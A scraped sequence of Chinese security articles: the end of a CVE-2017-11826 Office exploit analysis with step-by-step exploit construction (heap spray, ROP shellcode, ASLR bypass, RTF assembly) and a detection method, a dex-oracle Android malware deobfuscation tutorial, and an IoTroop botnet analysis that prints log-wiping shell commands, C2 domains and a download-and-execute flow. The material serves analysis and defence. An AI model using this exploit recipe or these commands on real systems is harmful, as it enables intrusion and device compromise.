既然上面怀疑漏洞是</w:font>标签没有正常闭合导致,现在就来构造一个带</w:font>的正常样本,方法很简单,创建一个新的docx文档,随便写入一些数据,保存后将后缀名改为.zip,用压缩软件将原文档中的document.xml替换为增加了</w:font>的漏洞文件,如下图:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

打开后文件果然没有崩溃,看来就是这个问题导致的。接下来在windbg里面打开修复后的文档,再下一遍上面的断点,对比正常文档和漏洞文档调试输出的不同处。

首先对比两个文档在解析各标签时的公式计算结果,由下图对比发现两者在解析idmap时的level级别不同,正常文档解析idmap的level级别是5,而漏洞文档为6:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

再检查两个文档在传递漏洞数据时的不同,windbg打开正常文档,对崩溃函数首部下断点。在解析到OLEObject标签时,用一样的公式计算出地址,并对该地址设定内存写入断点,发现正常文档在漏洞触发点前的某个地方再次触发了内存写入断点,而前面调试漏洞文档时并没有在此处触发该断点,如下:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

发现该处地址位于漏洞函数内,在IDA的反汇编视图中看到该处正位于崩溃点之前:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

进一步调试发现sub_3127F3FB(基址调为0后为sub_3F3FB)函数内部也调用了计算地址的sub_9DA0函数。有意思的是,和上图相比,这里调用时对同一个值减去了1,而上图中可以看到崩溃点是减2,且该值正是当前解析标签的level值。正常情况下,当解析OLEObject标签时,level_OLEObject = 4,level_idmap = 5,解析OLEObject时在上图中的修改点将4-1=3对应的值设定到指定地址处,在解析idmap时,崩溃点拿到的是5-2=3对应的值,这正是它的父标签OLEObject设定的值;而在漏洞触发时,解析OLEObject时同样将4-1=3对应的值设定到指定地址处,但在解析idmap时,崩溃点拿到的是6-2=4对应的值,那么4对应的值是谁设置的呢?应该是level_5对应的标签设置的,而level_5对应的标签正是font,在父函数对font的解析逻辑里也调用了sub_9DA0对5-1=4处的地址进行了设定,此过程还读入了font的name属性对应的数据。

在没有</w:font>闭合标签的情况下,在解析完font后索引值并没有减1,导致idmap在解析时,理应获取OLEObject设置的数据,却获取了font设置的数据,在后面解析数据时,用OLEObject对应的数据结构解析了font所提供的数据,从而造成类型混淆。只要精心构造font所提供的数据,就可以劫持特定的函数指针,达到控制执行流的目的。


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

利用编写

分析到这里,已经知道了漏洞的触发原理,下面尝试构造一个exploit,使用这个漏洞弹出一个计算器。

由于该漏洞的利用方式和CVE-2015-1641及CVE-2016-7193非常像,所以如果构造过前两个漏洞的exp的话,构造这个漏洞的exp几乎不需要多少时间。

步骤如下:

1.写一段python脚本修改原有的axtiveX1.bin文件,构造所需要的rop-gadgets和弹计算器的shellcode;

2.再写一段Python脚本,利用生成的axtiveX1.bin文件作为输入生成堆喷射docx文档;

3.用压缩软件打开生成的堆喷射docx文件,将里面的activeX1.bin手动删除,再手动放入,目的是为了减小文档体积(可以显著减小体积);

4.新建一个空白rtf文档,将3中生成的堆喷射docx手动拖入文档内,保存;

5.用notepad++打开4中生成的rtf文档,提取出{\object...}闭合的部分;

6.将bypass-aslr所需用到的内容拷贝到新的rtf文档中,原始样本加载的是一个新的模块,我这里为了实验直接用了otkloadr.WRAssembly,具体步骤也可参照维一零的文章;

7.从原文档中提取出漏洞触发的部分,和5中类似;

8.新建一个文本文档,按堆喷射在前、加载bypass aslr模块在中,漏洞触发在后的顺序构造exp文件,保存成一个rtf文档;

整个利用布局如下:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

将构造好的exp在调试环境下打开,可以顺利弹出计算器(如果不想看到crash,可以把shellcode编写得优雅点)


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

这里给出一下生成activeX.bin的脚本和替换activeX控件的Python脚本:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

动态检测

由上面的分析可知,该漏洞是个典型的类型混淆漏洞,所以合理的检测方案是比较正确的指针和混淆后的指针。在崩溃函数写入对象指针的位置做一个拦截,在解析标签等于"OLEObject"的时候,保存v15的值,即eax的值,供后面对比使用:


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

在混淆前的sub_9DA0(即上图中的sub_31249DA0,上图中的基址没有设为0)函数调用完成后也做一个拦截,取sub_9DA0函数的返回值,也即eax,将这个值与上面的值做比较,如果两者不同,则说明触发了漏洞。


【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测

结语

整个分析来看,这是一个典型的类型混淆漏洞,无论在漏洞原理上还是利用方式上都堪称CVE-2015-1641的姊妹漏洞,如果在原样本中将劫持地址和堆喷地址由0x88888f0稍微调高一点,利用的稳定性就会好很多。该漏洞触发非常稳定,可能会在不久的将来取代CVE-2015-1641,成为下一个被滥用的漏洞,需要引起高度警惕。

致谢

特别感谢《CVE-2017-11826 样本分析》这篇文章。

PS.原始样本在利用成功后释放Payload以达到持久驻存的方式用到了《Persisting with Microsoft Office:Abusing Extensibility Options》这篇paper里面讲到的方法。

参考链接

《最新Office 0day漏洞(CVE-2017-11826)在野攻击通告》http://blogs.360.cn/blog/office_0day_cve-2017-11826_ch/

《CVE-2017-11826 样本分析》https://bbs.pediy.com/thread-221995.htm

《结合一个野外样本构造一个cve-2016-7193弹计算器的利用》https://bbs.pediy.com/thread-221792.htm

《the-curious-case-of-the-document-exploiting-an-unknown-vulnerability-part-1》http://blog.fortinet.com/2015/08/20/the-curious-case-of-the-document-exploiting-an-unknown-vulnerability-part-1

《Spraying the heap in seconds using ActiveX controls in Microsoft Office》https://www.greyhathacker.net/?p=911

《Bypassing Windows ASLR in Microsoft Office using ActiveX controls》https://www.greyhathacker.net/?p=894

《手把手教你如何构造office漏洞EXP(第四期)》http://bobao.360.cn/learning/detail/3246.html

《Attacking Interoperability》https://www.blackhat.com/docs/us-15/materials/us-15-Li-Attacking-Interoperability-An-OLE-Edition.pdf

《Persisting with Microsoft Office:Abusing Extensibility Options》https://labs.mwrinfosecurity.com/assets/BlogFiles/WilliamKnowles-MWR-44con-PersistingWithMicrosoftOffice.pdf



【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测
【漏洞分析】CVE-2017-11826漏洞分析、利用及动态检测
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4636.html

【技术分享】如何使用dex-oracle对抗混淆后的Android恶意软件

$
0
0
【技术分享】如何使用dex-oracle对抗混淆后的Android恶意软件

2017-10-31 15:49:05

阅读:1267次
点赞(0)
收藏
来源: rednaga.io





【技术分享】如何使用dex-oracle对抗混淆后的Android恶意软件

作者:興趣使然的小胃





【技术分享】如何使用dex-oracle对抗混淆后的Android恶意软件

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

大约一两个月以前,有人想让我帮忙分析经过混淆的一些Android恶意软件。最近我终于找到时机能够好好研究一下。最终,我使用了dex-oracle以及一些技巧部分解开了恶意软件的混淆数据。在本文中,我会介绍我在去混淆方面所使用的一些技巧以及整个过程。如果你需要处理许多混淆的Android应用,这篇文章应该对你有所帮助。

这个过程中,最主要的问题是dex-oracle无法直接使用,我们需要一些“黑科技”方法才能让它正常工作。具体的情况是,我修改了已有的一个去混淆插件,生成了两个新的插件,同时也稍微修改了一下这个工具。想创造完全通用的去混淆工具或者其他高级工具是非常困难的一件事情,所以你需要了解这些工具的工作原理,适当修改以满足你的实际需求。


二、样本信息

样本的SHA256值如下所示:

$shasum-a256xjmurla.gqscntaej.bfdiays.apk d3becbee846560d0ffa4f3cda708d69a98dff92785b7412d763f810c51c0b091xjmurla.gqscntaej.bfdiays.apk

三、整体分析

我比较喜欢先做个反编译处理,以便能对目标应用的包结构有个整体的认识。应用所包含的类如下所示:


【技术分享】如何使用dex-oracle对抗混淆后的Android恶意软件

有些类名已经被ProGuard处理过(如a、b、c等),但有些类名没有经过处理(如Ceacbcbf)。没有经过混淆处理的类很有可能是Android组件类(如Activity(活动)、Service(服务)、Broadcast Receiver(广播接收器等)),因为这些组件必须在manifest中声明。因此,如果某些工具想实现自动化重命名这些类,它们就必须在manifest中做相应的重命名处理,这是比较困难的一个过程。这个应用中,这些类名可能被手动修改过。作者可能使用了家庭作坊式的混淆处理方法,部分工作由人工完成。这意味着这很有可能是一个恶意软件,因为合法的开发者会直接使用商用混淆工具来处理合法应用,他们不会把时间精力浪费在修改类名身上,比如,他们不会把类名修改为Aeabffdccdac之类难以辨类的字符串。

应用代码经过混淆处理。经过混淆的某个类如下所示:


【技术分享】如何使用dex-oracle对抗混淆后的Android恶意软件

你无法从中看到任何字符串或类名,这是非常讨厌的一件事情。看起来Simplify可以处理这个程序,但我们失算了。没关系,我兜里藏着许多好想法。我们可以来试一下Smali,看看能得到什么结果。


四、字符串及类混淆方法

首先,我看到了“基于索引的字符串查找”类型的混淆方法。

constv2,0x320fb26f invoke-static{v2},Lxjmurla/gqscntaej/bfdiays/f;->a(I)Ljava/lang/String; move-result-objectv2

这种模式在代码中出现了好几百次。应用会挑选某个数字,将其传递给f.a(int),然后再返回某个字符串。这种方法在某种程度上类似于“第一层”加密算法。应用在某个地方可能存在一个大型方法,该方法用来构建字符串数组,通过数字来索引字符串。

第二种混淆方法使用了同样的技巧来隐藏类常量。

constv1,0x19189b07 invoke-static{v1},Lxjmurla/gqscntaej/bfdiays/g;->c(I)Ljava/lang/Class; move-result-objectv1

这段代码会将一个数字传递给g.c(int),返回某个类对象(const-class)。

你可能会认为需要对这些查找方法进行逆向分析,但事实并非如此。写个解密程序来深入分析复杂代码并完全掌握内部细节的确是非常酷的一件事情,但我们可以先不管这些繁琐的事情,对我们来说,速度才是第一要务。我实在不想把时间浪费在恶意软件作者所构造的这个“业余的”混淆程序上。如果不逆向分析的话,我们可以认为这些“查找”方法都是静态的方法。我们应该可以使用与代码中相同的输入来执行这些方法,这样就能得到解密后的输出结果。比如,在字符串解密方面,我应该可以执行f.a(0x320fb26f),返回解密后的字符串。

当然,问题是如何执行这部分代码?我们的对象是一个APK文件,我们如何使用所需的输入数据从中执行特定的方法?也就是说,我们要怎样才能驾驭目标方法?答案有两个:

1、使用dex2jar或者enjarify将目标DEX文件转换为JAR。然后,将JAR导入Java应用中,再从Java应用中调用解码函数。

2、创建一个插桩(stub)或者驱动(driver)应用,用来接受命令行参数,反射DEX文件中的方法。然后,在模拟器上执行该应用以及DEX文件。

实际情况中,我选择使用第二种方法,构造了dex-oracle工具来处理这种场景。这两种方法中,我更喜欢第二种,因为这种方法无需依赖反编译器,不会引入逻辑问题。然而,第一种方法我也用了好几次,所以这里也有必要稍微提一下。我已经在dex-oracle中加入对这类混淆机制的支持,所添加的插件可参考“Add indexed string + class lookups”这个页面。

dex-oracle工作过程

dex-oracle的工作过程非常简单。该工具包含一组插件,插件通过正则表达式提取关键信息,如调用方法以及参数。然后,它会使用提取的参数构造真实的调用方法,并将这些方法传递给驱动,由驱动执行模拟器上的原始DEX文件。最后,插件定义了如何使用驱动的输出结果来修改调用方法。比如,正则表达式可以查找“数字常量、调用静态方法(静态方法接受数字并返回字符串)并将结果移动到寄存器的函数”。然后,驱动使用该数字执行该方法,返回解密后的字符串。最后,原始的字符串查找代码会被解密后的字符串代替。

你可以参考TetCon 2016上有关Android去混淆方面的演讲来了解更多细节。


五、修改前的dex-oracle

不幸的是,即便使用新的插件,dex-oracle依然无法得到正确结果。为了便于查找问题,我禁用了除IndexStringLookup之外的所有插件,然后只处理上图中的d类。

$dex-oraclexjmurla.gqscntaej.bfdiays.apk--disable-pluginsbitwiseantiskid,stringdecryptor,undexguard,unreflector,indexedclasslookup-i'/d' Invaliddate/timeinzipentry Invaliddate/timeinzipentry Invaliddate/timeinzipentry Invaliddate/timeinzipentry Invaliddate/timeinzipentry Invaliddate/timeinzipentry Invaliddate/timeinzipentry Invaliddate/timeinzipentry Invaliddate/timeinzipentry Optimizing11methodsover23Smalifiles. [WARN]2017-10-2812:28:45:Unsuccessfulstatus:failureforErrorexecuting'staticjava.lang.Stringxjmurla.gqscntaej.bfdiays.f.a(int)'with'I:839889519' java.lang.reflect.InvocationTargetException atjava.lang.reflect.Method.invokeNative(NativeMethod) atjava.lang.reflect.Method.invoke(Method.java:515) atorg.cf.oracle.Driver.invokeMethod(Driver.java:71) atorg.cf.oracle.Driver.main(Driver.java:131) atcom.android.internal.os.RuntimeInit.nativeFinishInit(NativeMethod) atcom.android.internal.os.RuntimeInit.main(RuntimeInit.java:243) atdalvik.system.NativeStart.main(NativeMethod) Causedby:java.lang.NullPointerException atxjmurla.gqscntaej.bfdiays.f.a(SourceFile:528) ...7more //**SNIPMANYSIMILARERRORS** Optimizations:string_lookups=13 Invaliddate/timeinzipentry //**SNIPDUMBWARNINGS** Invaliddate/timeinzipentry Timeelapsed1.954255seconds

上述结果中,“Invalid date/time in zip entry”提示信息为无用的噪音信息。可能是恶意应用作者在尝试混淆ZIP中的时间戳?这一点我并不确定。

我关心的是“Unsuccessful status: failure for Error executing 'static java.lang.String xjmurla.gqscntaej.bfdiays.f.a(int)' with 'I:839889519'”这个信息。根据这个提示信息,工具在执行f.a(int)时出现了一个NullPointerException(空指针异常)现象。看起来工具每次调用这个方法时都会失败。所以,我们可以来分析一下f.a(int)。

.methodstatica(I)Ljava/lang/String; .registers3 sget-objectv0,Lxjmurla/gqscntaej/bfdiays/f;->k:[Ljava/lang/String; constv1,0x320fb1f0 sub-intv1,p0,v1 aget-objectv0,v0,v1 return-objectv0 .endmethod 整个方法非常小巧。这段代码的功能是从一个大的常量中提取出第一个参数,使用该参数作为索引查找一个字符串数组,Lxjmurla/gqscntaej/bfdiays/f;->k:[Ljava/lang/String;。我们可以来看看f;->k的初始化过程。 $ag-Q'Lxjmurla/gqscntaej/bfdiays/f;->k:[Ljava/lang/String;' xjmurla/gqscntaej/bfdiays/Ceacabcbf.smali 169:sput-objectv0,Lxjmurla/gqscntaej/bfdiays/f;->k:[Ljava/lang/String; 245:sget-objectv0,Lxjmurla/gqscntaej/bfdiays/f;->k:[Ljava/lang/String; 256:sget-objectv0,Lxjmurla/gqscntaej/bfdiays/f;->k:[Ljava/lang/String; xjmurla/gqscntaej/bfdiays/f.smali 72:sget-objectv0,Lxjmurla/gqscntaej/bfdiays/f;->k:[Ljava/lang/String;

我们只找到一个sput-object,位于xjmurla/gqscntaej/bfdiays/Ceacabcbf.smali中。在Ceacabcbf中查找这一行,我们找到了private Ceacabcbf;->a()V。这个方法篇幅很长,也非常复杂,包含一大串字符串,这个字符串经过处理、分解后存放在f;->k中。出错点找到了,正是这个字段没有被初始化,导致我们出现NullPointerException错误。这意味着执行字符串解密方法过程中,Ceacabcbf;->a()V并没有被调用。因此,我们来找找该函数的调用位置。

$ag-Q'Lxjmurla/gqscntaej/bfdiays/Ceacabcbf;->a()V' xjmurla/gqscntaej/bfdiays/Ceacabcbf.smali 1313:invoke-direct{p0},Lxjmurla/gqscntaej/bfdiays/Ceacabcbf;->a()V 看样子该方法仅在Ceacabcbf被调用,具体代码为: .methodpubliconCreate()V .registers1 invoke-super{p0},Landroid/app/Application;->onCreate()V sput-objectp0,Lxjmurla/gqscntaej/bfdiays/Ceacabcbf;->a:Lxjmurla/gqscntaej/bfdiays/Ceacabcbf; invoke-direct{p0},Lxjmurla/gqscntaej/bfdiays/Ceacabcbf;->a()V return-void .endmethod

该方法的具体调用位置位于Ceacabcbf;->onCreate()V中。这个类是Application的一个子类。不需要看manifest文件,我百分百确定当应用启动时会创建这个组件,然后调用onCreate()V方法,构建解密字符串数组,然后初始化f;->k,初始化也是最重要的一个步骤。那么我该如何重复这个操作,以便dex-oracle在解密字符串时能调用这个函数呢?

我首先想到的是往f;-><clinit>中的Ceacabcbf;->a()V内添加一个调用方法。这样就能确保当字符串解密类f被加载时,会初始化解密字符串数组。然而,a()V是一种直接(direct)方法,这种情况下怎么办?

我使用了有点笨的一种方法,但某些情况下这种方法能发挥作用。只需要创建一个新的公开的静态方法(Ceacabcbf;->init_decrypt()V),方法内容从Ceacabcbf;->a()V那复制即可。然后,在f;-><clinit>中添加一行语句来调用这个方法:

.methodstaticconstructor<clinit>()V .registers1 const/4v0,0x0 sputv0,Lxjmurla/gqscntaej/bfdiays/f;->a:I sputv0,Lxjmurla/gqscntaej/bfdiays/f;->d:I sputv0,Lxjmurla/gqscntaej/bfdiays/f;->e:I sputv0,Lxjmurla/gqscntaej/bfdiays/f;->f:I const/4v0,0x4 new-arrayv0,v0,[Ljava/lang/String; sput-objectv0,Lxjmurla/gqscntaej/bfdiays/f;->h:[Ljava/lang/String; const-stringv0,"" sput-objectv0,Lxjmurla/gqscntaej/bfdiays/f;->i:Ljava/lang/Object; #LOLMONEY,MONEYLOL invoke-static{},Lxjmurla/gqscntaej/bfdiays/Ceacabcbf;->init_decrypt()V return-void .endmethod

六、修改后的dex-oracle

做了上述修改后,我们需要根据修改版的Smali重建DEX文件,然后尝试使用dex-oracle来处理这个文件。

$smaliassout-oxjmurla_mod1.dex $dex-oraclexjmurla_mod1.dex--disable-pluginsbitwiseantiskid,stringdecryptor,undexguard,unreflector,indexedclasslookup-i'/d' Optimizing11methodsover23Smalifiles. Optimizations:string_lookups=13 Timeelapsed2.034493seconds

没有看到错误提示。来看看反编译结果。

$d2j-dex2jar.shxjmurla_mod1_oracle.dex dex2jarxjmurla_mod1_oracle.dex->./xjmurla_mod1_oracle-dex2jar.jar $jdxjmurla_mod1_oracle-dex2jar.jar
【技术分享】如何使用dex-oracle对抗混淆后的Android恶意软件

抓到你了!C&C控制域名!先得瑟一下。


【技术分享】如何使用dex-oracle对抗混淆后的Android恶意软件

结果不错,但此时类还没有去混淆。听起来令人非常讨厌。为了不让本文过于冗长,这里我直接告诉你处理过程。在对类做去混淆处理时,与处理混淆字符串时的情况一下,dex-oracle依然会出现错误。我们同样需要调用Ceacabcbf;->a()V方法。

我们还是可以使用相同的技巧:只要调用g;-><clinit>中的Ceacabcbf;->init_decrypt()V即可。然而,g并不包含<clinit>方法,所以我们需要手动添加一个:

.methodstaticconstructor<clinit>()V .registers0 invoke-static{},Lxjmurla/gqscntaej/bfdiays/Ceacabcbf;->init_decrypt()V return-void .endmethod

现在,重新构建文件,然后使用dex-oracle进行处理:

$smaliassout-oxjmurla_mod2.dex $dex-oraclexjmurla_mod2.dex-i'/d' Optimizing11methodsover23Smalifiles. Optimizations:string_decrypts=0,class_lookups=13,string_lookups=13 Timeelapsed3.099335seconds

来看看处理后的反编译结果有什么区别。

$d2j-dex2jar.shxjmurla_mod2_oracle.dex dex2jarxjmurla_mod1_oracle.dex->./xjmurla_mod2_oracle-dex2jar.jar $jdxjmurla_mod1_oracle-dex2jar.jar
【技术分享】如何使用dex-oracle对抗混淆后的Android恶意软件

经过处理后,这个方法本身变化不大,然而其他方法可以提供更多信息,特别是在Smali中,你可以看到许多const-class。所有都处理完毕后,还有个g.c(int)没有去掉混淆,经过进一步分析,我发现这是因为该方法调用成功,但返回了空值(null)。也许这就是为什么该方法会位于try-catch代码段中。也许该代码正试图加载每个Android API版本中都不存在的类。

最后,让我们来测试一下,使用dex-oracle分析整个DEX文件。

$dex-oraclexjmurla_mod2.dex Optimizing125methodsover23Smalifiles. Optimizations:string_decrypts=0,class_lookups=354,string_lookups=330 Timeelapsed3.306326seconds

成功了,非常酷。现在还有许多事情要处理。经过处理后,再由Simplify处理起来会更加简单,因为此时需要执行的代码更少,出错点也更少。


七、总结

希望阅读本文后,你对如何改造dex-oracle以适应具体需求有了更深刻的理解。如果你可以将待运行的代码细化成待运行的某个方法,这种结果会更加灵活也更加优秀。某些时候,我们需要修改Android应用以适配dex-oracle,但修改Smali是相对简单的一种方法,并且许多恶意软件会带有防篡改机制,这种情况下,你可以采用更加明智的选择。



【技术分享】如何使用dex-oracle对抗混淆后的Android恶意软件
【技术分享】如何使用dex-oracle对抗混淆后的Android恶意软件
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://rednaga.io/2017/10/28/hacking-with-dex-oracle-for-android-malware-deobfuscation/

【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

$
0
0
【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

2017-11-01 10:04:30

阅读:740次
点赞(0)
收藏
来源: checkpoint.com





【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

作者:blueSky





【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

译者:blueSky

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

上周,我们的安全研究人员发现了IoT_reaper这个庞大的僵尸网络。一经发现,我们就很快发布了关于该僵尸网络的初步分析,用以提醒网络安全社区。在本文我们将对IoT_reaper僵尸网络进行详细的研究和分析,现阶段我们的主要研究结果包括以下几个方面:

整个僵尸网络军团已被揭开。

我们观察到两组不同的僵尸网络军团:

其中一组是C2服务器和样本,主要用于感染和传播。

另一组用于第二阶段payload。

攻击者能够通过Lua脚本快速灵活地控制被感染的设备。


僵尸网络军团

该僵尸网络军团中的每台服务器在恶意软件传播和漏洞利用过程中都扮演着重要的角色,我们已经发现了整个僵尸网络传播的基础设施,具体如下图所示:


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

恶意软件传播基础设施图


IoTroop恶意软件概述

IoTroop是IoT_reaper Botnet在网络攻击活动中第一阶段使用的主要payloads,该恶意软件借用了mirai的源代码,但是在几个关键行为上显著区别于mirai,包括:

1. C&C服务器已经完全被重新设计,并使用了新的后台。另外,IoTroop的C&C服务器是用php编写的,而原来的Mirai C&C服务器是用GO编写的。

2. 随着C&C后台的变化,C&C通信协议也发生了变化,IoTroop恶意软件使用了全新的C&C通信方式。

3. IoTroop恶意软件不再使用弱口令猜测、而是使用IoT设备漏洞,扫描效率大大提高。

4. IoTroop恶意软件不包含任何DDoS功能,实际上我们也没有观察到与该恶意软件有关的任何DDoS攻击,但所有与DDoS相关的功能都由C&C后台进行协调和管理,并作为单独的模块下载。


恶意软件操作细节

我们检测到IoTroop恶意软件使用的几个变种,虽然这几个变种之间的差异很小,但其却包含完全相同的功能。通常,根据被攻击设备的架构不同,所有变种可以被分为MIPS变种和ARM变种这两类。

初始化

一旦IoTroop将其payload在被感染设备上执行,初始化操作步骤与Mirai所采用的步骤相同,主要有:

混淆初始化字符串

阻止系统服务重启(通过发送特定的IOCTL)

确保只有一个IoTroops的实例正在运行

隐藏argv[0]

隐藏进程名称

然而,IoTroop恶意软件从控制流开始会执行其自己独特的功能,那就是:

通过向eth0,br0,eth1和eth2设备发送IOCTL 0x8927来查询和存储设备的MAC地址。如果恶意软件当前运行的设备运行GoAhead嵌入式Web服务器,则执行以下shell命令:

·rm-f/tmp/ftpupload.sh\n ·ln-s/dev/null/tmp/ftpupload.sh\n ·rm-r/var/log\n 这些操作用于删除与WIFICAM漏洞利用相关的shell脚本,并创建一个到/dev/null的符号链接,以及从设备中清除所有日志文件。

禁用其他恶意软件

IoTroop占用TCP 23端口并禁用任何打开telnet的进程。然后,它扫描设备内存以查找其他IoT恶意软件是否使用以下字符串,如果找到相同的字符串,那么IoTroop将会停止该进程的运行。

·.anime ·REPORT%s:%s ·HTTPFLOOD ·LOLNOGTFO ·zollard ·\x58\x4D\x4E\x4E\x43\x50\x46\x22(Theword‘zollard’Xoredwith0x22)

漏洞扫描

为了进行漏洞扫描,IoTroop恶意软件会生成一批随机IP,负责生成IP地址的代码与Mirai的代码相同,示例代码如下图所示:


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

恶意软件会对每个生成的IP地址进行一组漏洞测试,测试以下任何设备或基础设施中是否存在漏洞:


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

具体的漏洞扫描流量如下所示:


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

下图是从其中一个漏洞扫描获取的PCAP的示例:


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

C&C通信

IoTroop的C&C后台服务器由几个组件组成,每个组件负责一个独特的目的。

reporter服务器

reporter服务器用于接收Bot扫描到的易感染设备信息,该服务器使用字母“f”作为子域名的前缀,通过我们的研究,我们能够识别出两个存活的reporter服务器,域名如下:

lhl852.com(222.112.82.231) lha859.com(222.112.82.231)

一旦Bot扫描到易感染设备,IoTroop将以下列方式将其数据发送到reporter服务器:


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

以下参数被用作上述HTTP GET请求的一部分:


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

Controller服务器用于控制所有受感染的设备,并负责执行第二阶段恶意payload以及更新当前的恶意软件。

Controller服务器

每个受感染的设备不断地从控制C&C服务器获取命令,通过我们的研究,我们能够识别出两个存活的Controller 服务器,如下所示:

·ha859.com(27.102.101.121) ·hl852.com(27.102.101.121)

Controller服务器以JSON格式向IoTroop客户端发送命令和参数,具体参数如下表所示:


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

一旦收到命令,IoTroop Bot首先解析该命令然后执行并将执行结果返回给C2服务器。

downloader

如果端口存在且为80,则构造格式为“http://<ip> <url_path>”的字符串,否则将其设置为”http://<ip>:<port><url_path>”,并将ip,port和path的值填入字符串中。如果C2服务器发来的JSON值为完整路径,那么恶意文件将被保存到命令参数的目录中,否则它将放在/ tmp目录下。在处理构造的URL之前,bot将尝试通过“killall <name>”命令来停止所有与其名称类似的进程,其中参数取自上述“name”键值。最后,该URL将被传递给一个download函数,该函数会首先使用lstat检查文件的状态,以验证其是否存在,然后计算该文件内容的哈希值。在打开文件并读取文件后,根据每个操作的状态,构建一个格式为“open:error\success”或“read:error\success”的报告或日志记录字符串,我们观察到该字符串从未被使用过,因此我们猜测该恶意软件仍在进行调整,并处于开发阶段。

在获取到散列值之后,该散列值将与controller提供的散列值进行比较,以验证磁盘上文件的版本(如果存在)与服务器提供的版本是否不同。如果文件版本不同,Bot将以”r-xrwxrwx”权限生成一个新文件,并与C2服务器建立socket连接。IoTroop将构造一个HTTP GET请求并将其写入socket,之后它尝试以128个字节的大小块(在请求成功的情况下)从socket中读取其内容,读取到的内容将被写入新创建的文件,并再次检查MD5,以验证是否获取到正确的内容。完成通信后,bot会向controller发出“FIN\n”字符串。


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

Execute

文件的具体执行具体取决于“runtype”和“runport”键的值,这两个键值位于“mysel”字符串中。其中,第二个参数表示设备类型,第三个表示TCP端口。在任何情况下,下载的文件都将以给定的“runtype”和“runport”参数执行。

一般地,执行操作可能对应两种情况:一是对应于bot的软件更新事件,用以提示其在未来的进一步变化;另一种情况将对应于任意模块或插件的执行,这可能是Slowloris DDoS实用程序(在C2服务器上发现)或其他任何应用程序,而且Bot使用“/bin/sh sh -c <path_to_executable> <runtype> <runport>”命令产生新的进程,具体如下图所示:


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

在我们的研究中,我们发现IoTroop恶意软件在其控制流程的不同阶段使用了以下示例。


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

第二阶段payload

概述

我们观察到另外一个与之相关的样本和C&C服务器,该C2也在奇虎360的一篇文章中提到,这些样本似乎用于第二阶段的payload。这些恶意软件可以由downloader服务器的IoTroop恶意软件下载并执行,样本描述如下表所示:


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

这些样本与不同的C&C服务器通信以报告感染的设备以及从C2下载命令,这些服务器是以域名或者IP地址的形式在样本中进行硬编码的,有时候会有不同的端口,这取决于具体的样本,具体如下表所示:


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

Lua综合恶意软件分析

我们从其中一个reporter服务器收集到了大约4700个感染设备的信息,分析过程如下所示。

概述

恶意代码中集成了Lua执行环境,从而支持通过Lua脚本编写复杂的攻击指令。此外,它还复用了Mirai的代码,由于代码中存在调试字符串,因此我们猜测它是使用Debug模式编译的。但是,除了代码引用的一个调试字符串之外,我们分析的样本似乎没有使用Mirai代码,这可能是由于编译器优化的原因。多个调试字符串以及详细的输出信息使我们相信这些样本仍在测试或初始部署阶段。

功能分析

样本的主要功能的核心部分如下所示:


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

恶意软件使用Lua解释器的内部函数来初始化Lua引擎,加载LuaSocket库并定义一些在稍后代码会使用的Lua全局变量,具体如下图所示:


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

之后,将一个功能推送到Lua引擎堆栈,并定义为“attack”,这相当于在Lua脚本中定义一个名为“attack”的函数,“attack”字符串来自Mirai源代码的调试字符串,具体如下图所示:


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

恶意软件然后利用内部的Lua函数来执行以下Lua脚本,该脚本以字符串形式嵌入在恶意软件中,具体如下图所示:


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

该脚本与恶意软件的C&C地址进行通信,首先,它使用以前定义的全局变量将感染细节报告给reporter C&C(bbk80.com)。然后它进入一个无限循环,并从命令C&C服务器(cbk99.com)下载Lua脚本并执行它们,它通过从C&C下载“run.lua”文件并将其作为参数传递给以前在main中定义的“attack”函数,“attack”函数会在子进程中执行脚本,具体如下所示:


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

如果脚本加载或执行失败,恶意软件将以中文显示错误字符串:


